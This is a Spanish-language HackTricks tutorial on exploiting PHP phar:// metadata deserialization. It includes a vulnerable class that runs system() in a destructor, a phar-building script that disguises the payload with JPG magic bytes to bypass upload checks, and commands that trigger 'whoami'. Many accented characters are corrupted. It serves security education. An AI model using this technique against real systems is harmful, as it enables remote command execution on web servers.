phar:// deserialization

tip

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Los archivos Phar (PHP Archive) contienen metadatos en formato serializado, por lo que, al ser analizados, estos metadatos son deserializados y puedes intentar abusar de una vulnerabilidad de deserializaci贸n dentro del c贸digo PHP.

Lo mejor de esta caracter铆stica es que esta deserializaci贸n ocurrir谩 incluso utilizando funciones de PHP que no eval煤an c贸digo PHP como file_get_contents(), fopen(), file() o file_exists(), md5_file(), filemtime() o filesize().

As铆 que, imagina una situaci贸n en la que puedes hacer que un web PHP obtenga el tama帽o de un archivo arbitrario utilizando el protocolo phar://, y dentro del c贸digo encuentras una clase similar a la siguiente:

vunl.php
<?php
class AnyClass {
public $data = null;
public function __construct($data) {
$this->data = $data;
}

function __destruct() {
system($this->data);
}
}

filesize("phar://test.phar"); #The attacker can control this path

Puedes crear un archivo phar que, al ser cargado, abuse de esta clase para ejecutar comandos arbitrarios con algo como:

create_phar.php
<?php

class AnyClass {
public $data = null;
public function __construct($data) {
$this->data = $data;
}

function __destruct() {
system($this->data);
}
}

// create new Phar
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub("\xff\xd8\xff\n<?php __HALT_COMPILER(); ?>");

// add object of any class as meta data
$object = new AnyClass('whoami');
$phar->setMetadata($object);
$phar->stopBuffering();

Tenga en cuenta c贸mo los bytes m谩gicos de JPG (\xff\xd8\xff) se agregan al principio del archivo phar para eludir posibles restricciones de carga de archivos.
Compile el archivo test.phar con:

bash
php --define phar.readonly=0 create_phar.php

Y ejecuta el comando whoami abusando del c贸digo vulnerable con:

bash
php vuln.php

Referencias

{% embed url="https://blog.ripstech.com/2018/new-php-exploitation-technique/" %}

tip

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks